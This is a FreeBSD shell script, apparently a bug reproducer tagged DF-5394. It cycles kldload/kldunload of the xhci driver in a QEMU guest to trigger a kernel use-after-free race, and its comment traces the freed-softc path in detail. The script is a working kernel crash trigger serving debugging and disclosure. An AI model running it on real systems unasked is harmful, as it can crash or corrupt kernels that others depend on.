#!/bin/sh
# DF-5394 — guest-side racer.
#
# Cycles kldload/kldunload of the xhci driver against boot-present (but
# unclaimed) qemu-xhci PCI hardware:
#
#   kldload xhci    -> xhci_pci_attach -> usb_attach -> usb_attach_sub
#                      (4 USB kthreads created, attach_msg queued)
#                      *** kldload returns HERE — usb_bus_attach is still
#                          pending in the explore kthread; the usbus softc
#                          is only set at usb_controller.c:791 ***
#   kldunload xhci  -> devclass_delete_driver -> xhci_pci_detach ->
#                      device_delete_children -> usb_detach reads
#                      device_get_softc() == NULL -> early return at :195-198
#                      -> NO usb_proc_free / usb_callout_drain / usbpf_detach
#   xhci_softc (with struct usb_bus + 4 live kthreads' usb_process structs +
#   queued attach_msg) is freed -> explore kthread executes usb_bus_attach
#   on freed memory -> use-after-free.
#
# usage: race.sh <cycles> <delay_seconds_float, e.g. 0 or 0.002>
CYCLES=${1:-100}
DELAY=${2:-0}
i=0
while [ $i -lt $CYCLES ]; do
	kldload xhci >/dev/null 2>&1
	if [ "$DELAY" != "0" ]; then
		sleep "$DELAY"
	fi
	kldunload xhci >/dev/null 2>&1
	i=$((i + 1))
	if [ $((i % 25)) -eq 0 ]; then
		echo "cycle $i" >&2
	fi
done
echo "RACE-DONE $CYCLES cycles delay=$DELAY"
